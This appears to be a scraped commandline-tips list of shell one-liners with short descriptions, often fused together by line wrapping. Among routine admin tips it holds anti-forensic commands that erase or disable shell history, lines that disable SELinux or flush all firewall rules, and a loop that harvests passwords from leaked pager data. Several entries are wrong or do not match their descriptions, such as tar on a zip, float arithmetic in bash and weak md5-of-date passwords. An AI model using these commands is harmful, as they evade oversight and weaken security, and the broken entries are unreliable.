# parses the BIOS memory and prints information about all structures (or entry p
oints) it knows of.biosdecode
# detect the Super I/O chip on your computer, tell you at which configuration po
rt it is located and can dump all the register contents.superiotool
# Ultimate current directory usage command
O=$IFS;IFS=$'\n'; D=$(for f in *;do [[ -d $f ]] && du -sh "$f";done | sort -gr);F=$(for f in *;do [[ -f $f ]] && du -sh "$f";done | sort -gr);IFS=$O;echo "$D";echo "$F"
# Alternative size (human readable) of directories (biggest first)
function duf { du -k $@ | sort -rn | perl -ne '($s,$f)=split(/\t/,$_,2);for(qw(K M G T)){if($s<1024){$x=($s<10?"%.1f":"%3d");printf("$x$_\t%s",$s,$f);last};$s/=1024}' }
# System load information alongside process information in a similar style to to
p.atop
# Clear your history saved into .bash_history file!
echo "" > .bash_history
# kill a windows process
taskkill /F /im notepad.exe
# Mailing from Vim
w: !mailx -s "Some subject" [email protected]
# Reproduce test failure by running the test in loop
(set -e; while true; do TEST_COMMAND; done) | tee log
# Remove executable bit from all files in the current directory recursively, exc
luding other directories, firm permissionsfind . -type f -exec chmod a-x {} \;
# Filenames ROT13
ls *.* | while read ITEM; do mv "$ITEM" "`echo $ITEM | rot13`${ITEM:(-4)}"; done
# remove unneeded configuration files in debian
dpkg-query -l| grep -v "ii " | grep "rc " | awk '{print $2" "}' | tr -d "\n" | xargs aptitude purge -y
# Are the two lines anagrams?
s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s foobar) <(s farboo)||echo -n "not ";echo anagram
# Get average ping(1) time from a host
ping -qc 10 server.tld | awk -F/ '/^rtt/ {print $5}'
# Print last modified time in 'date -- file' format
ls -alt /directory/ | awk '{ print $6 " " $7 " -- " $9 }'
# Kill process by searching something from 'ps' command
ps h -o pid,command | grep 'TEXT' | sed 's/^ \+//' | cut -d ' ' -f 1 | xargs -n 1 kill
# Enable Hibernate in OS X
sudo pmset -a hibernatemode 1
# best command for searching files
find / -name \*string\*
# Remove current directory
removedir () { echo "Deleting the current directory $PWD Are you sure?"; read human; if [[ "$human" = "yes" ]]; then blah=$(echo "$PWD" | sed 's/ /\\ /g'); foo=$(basename "$blah"); rm -Rf ../$foo/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; }
# Ignore the specified signal
trap '' 1 2 20 24(signal number)
# Quick scrape of recent mobile home dir file sync for Mac Admins - tested with
shell: bash, Mac OSX 10.5tail -n 20 ~/Library/Logs/FileSyncAgent.log
# Display a random man page
(cd /bin; set -- *; x=$((1+($RANDOM % $#))); man ${!x})
# Open files in tabs with vim
vim -p file1 file2 [...]
# View your machine firewall settings
iptables -L -n -v
# omit grep
ps aux | grep [c]ommandname
# Random password generating function
mkpasswd() { head -c $(($1)) /dev/urandom | uuencode - | sed -n 's/.//;2s/\(.\{'$1'\}\).*/\1/p' ;}
# Defragment SQLite databases used by Firefox/Win32 and other software.
for /f "delims==" %a in (' dir "%USERPROFILE%\*.sqlite" /s/b ') do echo vacuum;|"sqlite3.exe" "%a"
# Generate a Random MAC address
macchanger --random interface
# Bash logger
echo -en "$USER@$HOSTNAME:${PWD##*/}> ";while read x;do echo $x>>/tmp/log.txt;echo $x|$0 2>&1;echo -en "$USER@$HOSTNAME:${PWD##*/}> ";done
# Display a random man page
man $(ls -1 /usr/share/man/man?/ | shuf -n1 | cut -d. -f1)
# Cowsay Random Cowfile
files=(/usr/share/cowsay/cows/*); cowsay -f `echo ${files[$((RANDOM%${#files}))]}` <TEXT>
# journaling directories
mkdir `date | sed 's/[: ]/_/g'`
# Get Futurama quotations from slashdot.org servers
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | head -n5 | tail -1 | cut -f2 -d-
# Play random playlist
gst123 -z **/*
# Read aloud a text file in Mac OS X
say `cat /path/to/textfile.txt`
# Remove all files previously extracted from a tar(.gz) file.
for i in $(tar -tf <file.tar.gz>); do rm $i; done;
# Combining text files into one file
cat file1 ... fileN > combinedFile;
# Show the number of current httpd processes
top -b -n 1 |grep httpd|wc -l
# Polls fos network port usage
while sleep 1; do date; (netstat -a -n | grep 80) ; done
# Add a list of numbers
awk '{total+=$0}END{print total}' file
# SVN Clean
svn-clean
# /bin/rm: Argument list too long.
find . -name 'spam-*' |xargs rm;find . -name 'spam-*' -print0 | xargs -0 rm
# Show the single most recently modified file in a directory
lastfile () { find ${1:-.} -maxdepth 1 -type f -printf "%T+ %p\n" | sort -n | tail -n1 | sed 's/[^[:space:]]\+ //'; }
# Generate a random password 32 characters long :)
date | md5sum
# Figure out what shell you're running
echo $SHELL
# Real full backup copy of /etc folder
cp -a /etc /destination
# kill all running instances of wine and programs runned by it (exe)
ps ax > processes && cat processes | egrep "*.exe |*exe]" | awk '{ print $1 }' > pstokill && kill $(cat pstokill) && rm processes && rm pstokill
# Common key binding for 'less' to search for a string
less file.ext
# Move files around local filesystem with tar without wasting space using an int
ermediate tarball.tar -C <source_dir> -cf . | tar -C <dest_dir> -xf
# Emptying a text file in one shot in VIM
:!>test.txt
# Creating a pseudo-random password
perl -e 'print crypt("PASSWORD",int(rand(128))).$/;'
# count occurences of each word in novel David Copperfield
wget -q -O- http://www.gutenberg.org/dirs/etext96/cprfd10.txt | sed '1,419d' | tr "\n" " " | tr " " "\n" | perl -lpe 's/\W//g;$_=lc($_)' | grep "^[a-z]" | awk 'length > 1' | sort | uniq -c | awk '{print $2"\t"$1}'
# extract a certain number of lines from a file and dump them to another file
grep '' -m X file1 > file2
# See smbstatus all the time
while (( $i != 0 )) { smbstatus; sleep 5; clear }
# !$ - The last argument to the previous command
svn status app/models/foo.rb; svn commit -m "Changed file" !$
# Display default values on Foundry (Brocade) RX and MLX BigIron L3 (routers & s
witches)sh default values
# Dispaly a bunch of Info. on Foundry (Brocade) RX and MLX BigIron L3 (routers &
switches)dm ?
# Find all jpgs on the PC (DOS command)
for %f in (c) do dir %f:\*.jpg /s /p
# Mac OS X command line hilarity
say sofa king great
# change your PS1 to look better :)
newhostname=$(hostname | awk -F. '{print $1 "." $2}'); ipaddress=$(nslookup `hostname` | grep -i address | awk -F" " '{print $2}' | awk -F. '{print $3 "." $4}' | grep -v 64.142);PS1="[`id -un`.$newhostname.$ipaddress]"' (${PWD}): '; export PS1
# Copy a file over SSH without SCP
uuencode -m <filename> <filename>
# Find the files that include a TODO statement within a project
grep --exclude-dir=.svn --exclude=*~ -i "TODO" -rl .
# delete first X lines of a file
sed '1,55d'
# Ping 10 times then quit
ping -c 10 hostname
# Recursively grep thorugh directory for string in file.
find directory/ |xargs grep -i "phrase"
# Recursively remove all .svn directories
find . -name .svn -type d | parallel rm -rf
# Function to solve a simple combinatorial maths puzzle from the command line
marbles () { c=''; for i in $(seq $1); do c+='{b,r}'; done; x=$(eval echo $c); p=''; for i in $(seq $2); do p+='b*r'; done; y=$(grep -wo "${p}b*" <<< $x); wc -l <<< "$y"; grep -vc 'rr' <<< "$y"; }
# find all processes named hunger and force kill, minus the grep itself and outp
ut to a file called fu.barps -auwx|egrep hunger|grep -v grep| awk '{print "kill -9",$1}' > ~/fu.bar
# run a previous command
!previous_command
# Expand tabs
function expand-tabs() { expand -t 8 "$1" > "$1.expanded"; mv -f "$1.expanded" "$1"; }
# Replace spaces with tabs & format file source recursively within a directory
find . -type f -name \*.php | while IFS="" read i; do expand -t4 "$i" > "$i-"; mv "$i-" "$i"; done
# Find which version of Linux You are Running
lsb_release -d
# Display RSTP (802.1W) Info. on on Foundry (Brocade) RX and MLX BigIron L3 (rou
ters & switches)show 802-1w
# A death cow thinking in your fortune cookie
fortune -s -c -a | cowthink -d -W 45
# zip all files in a directory, one file per zip
for i in $( find . ); do echo zipping file: $i zip $i.zip $i done
# df without line wrap on long FS name
alias df="df | awk 'NF == 1 {printf(\$1); next}; {print}'"
# unzip all .zip files in /example/directory
cd /example/directory && unzip \*.zip
# Blue Matrix
while :; do integer i=0; COL=$((RANDOM%$(tput cols))); ROW=$((RANDOM%$(tput cols))); while (( i <= COL)) do tput cup $i $ROW; echo "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null; i=$(expr $i + 1); done done
# Download a file securely via a remote SSH server
scp $user@$server:$path/to/file .
# grep 'hoge' **/* => Argument list too long
echo **/* | xargs grep 'hoge'
# List dot-files and dirs, but not . or ..
ls .??*
# This generates a unique and secure password with SALT for every website that y
ou login tositepass2() {salt="this_salt";pass=`echo -n "$@"`;for i in {1..500};do pass=`echo -n $pass$salt|sha512sum`;done;echo$pass|gzip -|strings -n 1|tr -d "[:space:]"|tr -s '[:print:]' |tr '!-~' 'P-~!-O'|rev|cut -b 2-15;history -d $(($HISTCMD-1));}
# grep 'hoge' **/* => Argument list too long
grep -r hoge .
# Rename files that have number, space and hyphen
for f in * ; do mv -- "$f" "${f/[0-9][0-9] \- /}" ; done
# grep 'hoge' **/* => Argument list too long
ack hoge .
# set the system date
rdate -s time-A.timefreq.bldrdoc.gov
# create a detached signature for file.txt
gpg -ab file.txt
# Graphical display of wireless links
wmwave
# verify a file using its detached signature
gpg --verify file.txt.asc file.txt
# decrypt file.txt.gpg using my private key
gpg -d file.txt.gpg -o file.txt
# Quick findstring recursively in dirs (Alias from long find with xargs cmd)
alias findstring="find . -type f -print | xargs grep $1"
# Random Password Generator (uses all chars, no repeated chars)
for i in {21..79};do echo -e "\x$i";done | tr " " "\n" | shuf | tr -d "\n"
# The 1 millionth fibonacci number
gcc -x c -o /tmp/out - -lgmp <<< '#include <stdlib.h> ... SEE SAMPLE OUTPUT FOR FULL COMMAND
# kill process by name
pkill
# small one-line loop, change for different taste :P
for FILE in $(ls); do [COMMAND]; done
# Remove rpm package by pattern
yum erase `yum list installed | grep 'php'`
# yesterday
perl -lne 'use POSIX; print strftime("%Y-%m-%d", localtime(time() - 86400));'
# full cpu info (linux)
cat /proc/cpuinfo
# Equivalent to ifconfig -a in HPUX
for i in `netstat -rn |grep lan |cut -c55-60 |sort |uniq`; do ifconfig $i; done
# It outputs a given line from a file
awk 'NR==linenumber' filename
# Visit wikileaks.com
echo 213.251.145.96 wikileaks.com | sudo tee -a /etc/hosts
# Snmpwalk a hosts's entire OID tree with SNMP V3 without Authentication or Priv
acysnmpwalk -v3 -On -u <user> -l NoAuthNoPriv -m ALL <HOST_IP> .
# Monitor Applications application that are connected/new connections
while true; do netstat -p |grep "tcp"|grep --color=always "/[a-z]*";sleep 1;done
# Snmpwalk a hosts's entire OID tree with SNMP V3 with MD5 Authentication and wi
thout Privacysnmpwalk -v3 -On -u <user> -l AuthNoPriv -a MD5 -A <auth_password> -m ALL <HOST_IP> .
# Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA Authentication and wi
thout Privacysnmpwalk -v3 -On -u <user> -l AuthNoPriv -a SHA -A <auth_password> -m ALL <HOST_IP> .
# Get My Public IP Address
links2 -dump http://checkip.dyndns.com | cut -d ' ' -f7
# Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA Authentication and wi
th Privacysnmpwalk -v3 -On -u <user> -l AuthPriv -a SHA -A <auth_password> -X <encryption_password> -m ALL <HOST_IP> .
# Removes the .svn entries from a project
find -name ".svn" -exec rm -rf {} \;
# recursively change file name from uppercase to lowercase (or viceversa)
find . -type d -name '*[A-Z]*' -execdir bash -c '! test -f "$(echo "$0" | tr "[:upper:]" "[:lower:]")"' {} \; -execdir bash -c 'mv "$0" "$(echo "$0" | tr "[:upper:]" "[:lower:]")"' {} \;
# test connection if ICMP is disabled
telnet <ip> <port>
# &#1089;&#1082;&#1072;&#1095;&#1072;&#1090;&#1100; &#1089;&#1072;&#1081;&#1090;
wget -r -k -l 7 -p -E -nc http://site.com/
# redirect wget output to the terminal, instead of a file
wget -q -O - "$@" <url>
# Lists installed kernels
rpm -qf /lib/modules/*
# Get your external IP address
echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" | nc whatismyip.com 80 | tail -n1
# Shows users and 'virtual users' on your a unix-type system
sudo lsof|sed 's/ */ /g'|cut -f3 -d' '|sort -u
# Quickly assess quality of project by greping the SVN commit logs
svn log | grep "bodge\|fudge\|hack\|dirty"
# rgrep: recursive grep without .svn
grep query -r . --exclude-dir=.svn
# Listen to the OS X system's voices
for person in Alex Bruce Fred Kathy Vicki Victoria ; do say -v $person "Hello, my name is $person"; sleep 1; done
# sets volume via command line
amixer -c 0 set PCM 2dB+
# Kill a process with its name
ps -u $USER |grep $1 | awk '{ print $1}'| xargs kill
# View the newest xkcd comic.
echo alias xkcd="gwenview `w3m -dump http://xkcd.com/|grep png | awk '{print $5}'` 2> /dev/null" >> .bashrc
# Convert HH:MM:SS into seconds
TZ=GMT date -d "1970/01/01 00:29:36" +%s
# Search all files of type *.php for string 'specialFunction' and output the res
ult in searchResult.txtfind . -name "*.php" | xargs egrep -i -s 'specialFunction' > searchresult.txt
# Convert HH:MM:SS into seconds
date -ud "1970/01/01 00:29:36" +%s
# simple echo of IPv4 IP addresses assigned to a machine
ifdata -pa eth0
# convert permissions in ls to octal
ls -l | sed -e 's/--x/1/g' -e 's/-w-/2/g' -e 's/-wx/3/g' -e 's/r--/4/g' -e 's/r-x/5/g' -e 's/rw-/6/g' -e 's/rwx/7/g' -e 's/---/0/g'
# Calculate the the last day of a month +/- from current month
date -j -v1d -v-0m -v-1d +'%m %d %Y'
# Super Paste
(echo "" | xsel -o) ; (programa | wgetpaste -s dpaste | awk '{print $7}' | xsel -ai)
# Get your external IP address
wget -q -O - checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//'
# Search Google from the command line and return the first result.
The command is too big to fit here. :( Look at the description for the command, in readable form! :)
# Show the meta information on a package (dependency , statuts ..) on debian der
ivative distroaptitude show packages_name
# Unzip multi-part zip archive
tar -xfv archive.zip
# clean up memory on linux (fedora)
sync; echo 3 > /proc/sys/vm/drop_caches
# Even better Cowsay/Fortune
cowsay `fortune` | toilet --gay -f term
# declare variable as integer
declare -i aa ; aa=3*8 ; echo $aa
# Do an OR search using grep to look for more than one search term
grep -E 'string-1|string-2|regexp-1|regexp-n' <filename>
# Always run apt-get as root
alias apt-get='sudo apt-get'
# Text to ascii art
figlet gunslinger_
# Unzip all files with ".zip" extension.
unzip \*.zip
# Run every command on a directory
for i in *; do [[ ! -d $i && -x $i ]] && ./"$i" & done
# Quick setup to list all directory contents by time reversed sort... most recen
t change last.alias ltr 'ls -altr'
# Remove a symbolic link
unlink <linkname>
# Seach google from the command line in Unofficial google shell
http://goosh.org
# Remove executable bit from all files in the current directory recursively, exc
luding other directoriesfind . -type f | while read f; do chmod -x "$f"; done
# Output all Files in Directory w/ Details to Filelist
ls -laR > /path/to/filelist
# When you have time to consume
moon-buggy
# Executes a command changing an environment variable
VARIABLE="VALUE" COMMAND
# use a literal bang (exclamation point) in a command
echo '!'whammy
# Pick a random line from a file
head -$(($RANDOM % $(wc -l < file.txt) +1 )) file.txt | tail -1
# Export you history to nowhere
export HISTFILE=/dev/null/
# Find the process you are looking for minus the grepped one
ps aux | grep process-name | grep -v "grep"
# Back Up a disk to an image in your home directory
dd if=/dev/sda of=~/backup-disk-YY-MM-DD.img
# use ImageMagik to convert tint (hue rotation) of an icon set directory.
/bin/ls *.png | xargs -l1 -I {} convert {} -modulate 100,100,70 ../../icons/32x32/{}
# Skipping tests in Maven
mvn -Dmaven.test.skip=true install
# Prepend string to filename
for i in *; do mv $i prependtext$i; done
# Find String
grep -iR find_me ./
# compile openvm-tools
m-a a-i open-vm
# find out public ip address by using any host that have 'efingerd -n'
finger @www.linuxbanks.cn | grep -oE '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' | head -n1
# Get filename from a full file path
for /F %G in ('dir /b c:\Windows\system32\notepad.exe') do ( echo %G )
# Pick a random line from a file
shuf file.txt | head -n 1
# Start xterm in given directory
xterm -e "cd /my/directory; bash"
# Start xterm in given directory
( cd /my/directory; xterm& )
# Remove all unused kernels with apt-get
aptitude purge linux-image | grep ^i | grep -v $(uname -r)
# Chmod all directories (excluding files)
chmod 755 $(find public_html -type d)
# Check processes runed not by you
ps aux | grep -v `whoami`
# Use php and md5 to generate a password
php -r 'echo md5("password") . "\n";'
# display most recently modified files
ls -l|awk '{print $6,$8}'|sort -d
# download file1 file2 file3 file4 .... file 100
for file in $(seq -f '%03.f' 1 $TOTAL ); do echo "($file/$TOTAL)"; curl -f -O http://domain.com/Name_$file.ext; done
# make 100 directories with leading zero, 001...100, using bash3.X
mkdir 0{0..9}{0..9};mv 000 100
# Kills MYWIFE.
pkill -U MYWIFE
# List all executable files in the current directory
ls -F | grep '\''\*'\'' | sed '\''s/\*$//'\
# Print the ten largest files
ls -Sl * | head
# Chmod directories to add executable & read permission to the group safely
sudo chmod -R g=u-w,g+X *
# Convert the first character of a string to uppercase
echo 'example' | sed -e 's/^\(.\)/\U\1/'
# List the size (in human readable form) of all sub folders from the current loc
ationls | xargs du -sh
# Delete all files more t han 7 days old
rm -rf `find -maxdepth 1 -mindepth 1 -mtime +7`
# Create a list of sequential logins
seq -w 100 | sed 's/^/login/'
# Creates a minimalist xorg.conf
dpkg-reconfigure -phigh xserver-xorg
# #
# indicates a comment in shell
# fb
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
# Replace text in several files
perl -p -i -e ?s/New/Old/g? *.html
# create a big file
dd if=/dev/zero of=/tmp/bigfile bs=1024k count=100
# Geo Weather
curl -s http://www.google.com/ig/api?weather=$(curl -s "http://api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com)" | grep City | sed 's/City: \(.*\)/\1/' | sed 's/ /%20/g' | sed "s/'/%27/g") | sed 's|.*<temp_f data="\([^"]*\)"/>.*|\1\n|'
# Forget remembered path locations of previously ran commands
rehash
# open man page of last used command
man !!
# check if your processor is 32 or 64 bit
uname -m
# list connected usb devices
lsusb
# Merge - Concate MP3 files
# cat file1.mp3 file2.mp3 > file3.mp3
# Execute external code
source filename_script.sh
# Display a random man page
man $(/bin/ls /bin | awk '{ cmd[i++] = $0 } END { srand(); print cmd[int(rand()*length(cmd))]; }')
# run command with opposite return code
not () { "$@" && return 1 || return 0; }
# Reports size of all folders in the current folder. Useful when burning CD's a
nd DVD'sexport IFS=$'\n';for dir in $( ls -l | grep ^d | cut -c 52-);do du -sh $dir; done
# Replace spaces with newlines
cat file.txt|perl -ne '$_=~s/\s+/\n/g; print $_;'
# Whois on target and save results to file instantly
x=192.168.1.1; whois $x > $x.txt
# Generate MD5 hash for a string
printf "$string" | md5sum
# delete files except some file
find . |more |grep -v filename |xargs rm
# To print a specific line from a file
awk '{if (NR == 3) print}' <file>
# Fibonacci numbers with awk
gawk '{n=$1;a=0;b=1;c=1;for(i=1;i<n;i++){c=a+b;a=b;b=c};print c}' << eof
# bat add copyright info
find . -name "*.c" -exec sed -i "/\/sh/a\####################################\n#Date:2010-05-18\n#Company:XXXXX tech Co.\n#Author:Wangjunling\n#Copyright:gpl\n#
###################################" {} \;
# Delete all firewall rules in a chain or all chains
iptables -F
# Remove current directory (REVISED)
removedir(){ read -p "Delete the current directory $PWD ? " human;if [ "$human" = "yes" ]; then [ -z "${PWD##*/}" ] && { echo "$PWD not set" >&2;return 1;}; rm -Rf ../"${PWD##*/}"/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; }
# netstat -p recoded (totaly useless..)
p=$(netstat -nate 2>/dev/null | awk '/LISTEN/ {gsub (/.*:/, "", $4); if ($4 == "4444") {print $8}}'); for i in $(ls /proc/|grep "^[1-9]"); do [[ $(ls -l /proc/$i/fd/|grep socket|sed -e 's|.*\[\(.*\)\]|\1|'|grep $p) ]] && cat /proc/$i/cmdline && echo; done
# Get your external IP address
wget -O - -q http://whatismyip.org/
# Learn searching and navigating in man like a boss
man <command> then type h
# Show the amount of space left on mounted harddrives
df -h
# Project Zipped
zip -r -9 /var/www/html/project.zip /var/www/html/project
# remove all CVS directories
find . -type d -name 'CVS' | xargs rm -r
# Recursively grep a subdirectory for a list of files
ls -1 static/images/ | while read line; do echo -n $line' '[; grep -rc $line *|grep -v ".svn"|cut -d":" -f2|grep -vc 0| tr "\n" -d; echo -n ]; echo ; done
# Connects to a telnet service monitoring Woot!
telnet zerocarbs.wooters.us
# Periodically loop a command
while true; do ifconfig eth0 | grep "inet addr:"; sleep 60; done;
# Kill any process with one command using program name
ps -ef|grep jboss | grep -v grep | awk '{print $2}'|xargs kill -9
# Oracle: set column separator
set colsep "{char}"
# Show the size of a directory
du -sh some/directory
# 3 Simple Steps to X11 Forward on Mac OS X
ssh -X [email protected]
# View the newest xkcd comic.
xdg-open http://xkcd.com/
# Search gzipped files
zcat /usr/share/man/man1/grep.1.gz | grep "color"
# Find the process you are looking for minus the grepped one
psg() { ps aux | grep "[${1[1]}]${1[2,-1]}"; }
# Move large numbers of files
for f in *; do mv $f <target_path>; done;
# show your private/local ip address
ifconfig | grep addr:192 | sed s/Bcast.*// | sed 's/^.*inet addr://'
# Convert a bunch of oggs into mp3s
for x in *.ogg; do ffmpeg -i "$x" "`basename "$x" .ogg`.mp3"
# Numerate files, rename files in a directory by incremental number
declare -i i; i=0; for file in *; do i=`expr $i+1`; mv "$file" $i; done;
# delete all .svn directory in a directory
rm -rf `find ./ -iname *.svn*`
# kills all processes for a certain program e.g. httpd
ps aux | grep 'httpd ' | awk {'print $2'} | xargs kill -9
# Find out your Debian version
cat /etc/debian_version
# convert .rpm to .deb using alien
sudo alien --to-deb Your_PackAge.rpm
# a find and replace within text-based files, for batch text replacement, not us
ing perlfor file in `find . -iname "FILENAME"`; do cat $file | sed "s/SEARCH_STRING/REPLACE_STRING/" > $file.tmp; mv $file.tmp $file; done
# Truncate logs in unix
logs=$(find . -name *.log);for log in $logs; do cat /dev/null > $log;done
# Passwords from 9/11 tragedy pager intercepts (Yeah! Plain text! From wikileaks
.net)while true; do wget -r -l1 --no-clobber -A.txt http://911.wikileaks.org/files/index.html; done; cat *.txt | grep pass
# Find files and format them in detailed list
ls -l `locate your_search_here`
# Go to the Nth line of file
echo "13" | ed /etc/services
# Count your Twit length before posting
echo "<your twit>" | wc -c -
# Go to the Nth line of file
head -n 13 /etc/services | tail -n 1
# Get the 10 biggest files/folders for the current direcotry
ls -1rSA | tail
# Delete all files in current directory that have been modified less than 5 days
ago.find ./ -mtime -5 | xargs rm -f
# Backup a file before editing it.
sedit() { cp "$*"{,.bk}; which $EDITOR > /dev/null && $EDITOR "$*" || vim "$*"; }
# Fast install software in Ubuntu
alias agi='sudo apt-get install'
# Tar a subversion working copy...without all those hidden directories!
tar --exclude='.svn' -c -f /path/to/file.tar /path/to/directory
# sequence of numbers in a for loop
for f in `jot - 0 50 5` ; do ping -c 1 -m 50 10.0.2.$f ; done
# Copy with progress
pv file1 > file2
# Update your system every day at the lunch time (12:00)
(crontab -e) 00 12 * * * apt-get update (/etc/init.d/cron restart)
# Kill a background job
kill %1
# Checks your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;
# Starting the VPN service
sudo service vpnclient_init start
# Remove VIM temp files
find . -name "*~" -exec rm {} \;
# find a process id by name
ps aux | awk '/name/ {print $2}'
# change directory into '//'
cd //
# clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.)
Ctrl+l
# exec option in find
find ~ -mtime +365 -exec mv {} /tmp/mybackup \;
# Replace square brackets to underscore in all filenames (current dir.)
perl -e 'map { $on=$_; s/\]/_/; rename($on, $_) or warn $!; } <*>;'
# Kill a bunch of processes with the same name
ps ax | grep <processname> | grep -v grep | awk '{print $1}' | sudo xargs kill -9
# Helpful alias to grep for the PID.
alias pfind='ps aux | grep '
# read txt or txt.gz files
vim txt.gz
# Get non-printable keycode to bind keys in applications
cat > /dev/null
# Shorthand to install package in Ubuntu
alias install='sudo apt-get install'
# Access variables inside a - piped while - loop
while read line; do echo $line; done <<< "$var"
# Automation click every 4 second on a macro slot bar to world of warcraft for p
rospecting itemwhile true; do sleep 4 ; xdotool click 1 ; done
# Wary of typing 'sudo apt-get install <pkgname>' ? Try a different way to insta
ll a package on Ubuntu$ !! 2>&1 | `tail -1` (*NOTE: To be used ONLY after a command fails with Ubuntu package suggestion*)
# Clear current session history
history -r
# convert .daa to .iso
poweriso convert image.daa -o image.iso -ot iso
# Searching files
find /dir/ -name *name*
# Convert HH:MM:SS into seconds
echo 00:29:36 | nawk -F: '{seconds=($1*60)*60; seconds=seconds+($2*60); seconds=seconds+$3; print seconds}'
# Kill a process with its name
pkill $1
# Get your external IP address
lynx --dump http://ip.boa.nu|sed -e 's/^[[:space:]]*//' -e 's/*[[:space:]]$//'|grep -v ^$
# That's what she said
!tail
# Convert HH:MM:SS into seconds
date -d "1970/01/01 00:29:36 GMT" +%s
# Show directories in the PATH, one per line
print -l $path
# A faster ls
echo *
# Sneaky logout
rm ~/.bash_history && kill -9 $$
# Short one line while loop that outputs parameterized content from one file to
anotherwhile read col1 col23; do echo $col1; done < three-column.txt > first-column.txt
# Echo several blank lines
jot -b '' 100
# Selecting a random file/folder of a folder
ls -1 | sort -R | sed -n 's/^/Selected /;1p'
# Open a list of files in VIM using separate terminal windows
find . -name "*.java" -exec gnome-terminal \-x vim {} \;
# Print just line 4 from a textfile
tail -n +4 | head -n 1
# Read directory contents recursively
ls -R .
# Sneaky logout
rm ~/.bash_history; ln -s /dev/null ~/.bash_history
# SELinux Status
getenforce
# vim display hex value char under cursor
ga
# To print a specific line from a file
tail -n +<N> <file> | head -n 1
# Count the total number of files in each immediate subdirectory
ps -ef | grep pmon
# "Reset" directories permissions
find . -type d -exec chmod 0755 {} \;
# show space used by postgres
while (( 1==1 )); do du -c . >> output.log; sleep 2; done; tail -f output.log
# sirve para ver la salida de un comando en pantalla y al mismo tiempo guardar l
a salida en un ficherofind / -name *.conf | tee salida
# Move files matching a certain pattern to another folder
find . | grep ".*\[[Church|CPYAF].*" | while read f; do mv "$f" ../emails;done
# Refresh profile file
. ~/.profile
# Creating a Maven project
mvn archetype:create -DgroupId=my.work -DartifactId=MyProject
# Convert CSV to TSV
perl -pe 's/,/\t/g' < report.csv > report.tsv
# ROT13 using the tr command
function rot13 { if [ -r $1 ]; then cat $1 | tr '[N-ZA-Mn-za-m5-90-4]' '[A-Za-z0-9]'; else echo $* | tr '[N-ZA-Mn-za-m5-90-4]' '[A-Za-z0-9]'; fi }
# replace text in all files in folder, into subfolder
mkdir replaced;for i in *; do cat "$i"| sed 's/foo/bar/' > "replaced/$i"; done
# egrep -r replacement for UNIX systems
find . -type f | xargs grep -l "string"
# Use md5 to generate a pretty hard to crack password
echo "A great password" | md5sum
# Glutton for punishment
''=~('(?{'.('_/@.*@'^'/])@^`').'"'.('"/_/@]/--!.:@</:[@(:/:^'^'[@*]`>@@@@@^`[@_(`@_]_|').',$/})')
# Directory bookmarks
bm () { ... see description }
# search for and kill a process in one blow
ps aux|grep -i [p]rocessname|awk '{ print $2 }'|xargs kill
# Generate random password
dd bs=1 count=32 if=/dev/random 2> /dev/null | md5 | grep -o '\w*'
# search and run command in history
!?192
# reload bash_profile
source ~/.bash_profile
# replace strings in file names
for i in $(find . -name *replaceme*);do mv "$i" "${i//replaceme/withme}"; done
# reloads sound when it stop playing
sudo alsa force-reload
# Play newest or random YouTube video
oumou sangare
# Edit Crontab
crontab -e
# List the size (in human readable form) of all sub folders from the current loc
ationfind . -maxdepth 1 -type d -not -name . -exec du -sh {} +
# Network Information
ntop
# floating point operations in shell scripts
echo $((3.0/5.0))
# View process statistics in realtime
top
# Kill a process by application
kill -9 `pgrep $PROCESS_NAME`
# Kill a daemon by name, not by PID
kill_daemon() { echo "Daemon?"; read dm; kill -15 $(netstat -atulpe | grep $dm | cut -d '/' -f1 | awk '{print $9}') }; alias kd='kill_daemon
# Print a list of installed Perl modules
dpkg-query -W | grep perl
# Using the 'beep' and 'clear' command in scripts
beep > beep.sh; clear > clear.sh
# Echo a command, then execute it
v () { echo "$@"; "$@"; }
# Post to twitter via curl, Windows version
FOR /f %%g in ('echo %1 ^| iconv -f gbk -t utf-8') DO curl -x proxy:port -u user:pass -d status=%%g -d source="cURL" http://twitter.com/statuses/update.xml
# sed -n "$LINE1,${LINE2}p;${LINEA2}q;" "$FILE"
Printing portion of a big file
# Random Beeps on Your PC Speaker
dd if=/dev/urandom of=/dev/speaker bs=1
# How many lines does the passwd file have?
awk 'END {print NR}' /etc/passwd
# Random Beeps on Your Audio Card's Output
dd if=/dev/urandom of=/dev/dsp
# doing some math...
echo 1+1|bc
# Get your public IP using chisono.it
curl icanhazip.com
# Kill process you don't know the PID of, when pidof and pgrep are not available
.export var1=`ps -A | grep '[u]nique' | cut -d '?' -f 1`; echo${var1/ /}; kill -9 $var1
# Concatenate lines of to files, one by one
join file1.txt file2.txt > file3.txt
# Refined repository search
apt-get search something | grep specific
# One-Liner to Display IP Addresses
python -c "import socket; print '\n'.join(socket.gethostbyname_ex(socket.gethostname())[2])"
# What is my IP address?
curl whatismyip.org
# reverse-print contents of a file
nawk '{line[NR]=$0} END{for (; NR>=1; NR--){print line[NR]}}' FILENAME
# Display which distro is installed
test `uname` = Linux && lsb_release -a || ( test `uname` = SunOS && cat /etc/release || uname -rms )
# How to Disable SELinux
echo 0 >/selinux/enforce
# get kernel version
uname -a
# detected hardware and boot messages
sudo dmesg
# remove all dead symbolic links in a directory
for i in $(file * | grep broken | cut -d : -f 1); do rm $i; done
# Speak the last 3 tweets on Mac OS
curl -s -u user:password http://twitter.com/statuses/friends_timeline.rss | grep title | sed -ne 's/<\/*title>//gp' | head -n 4 | say -v Bruce
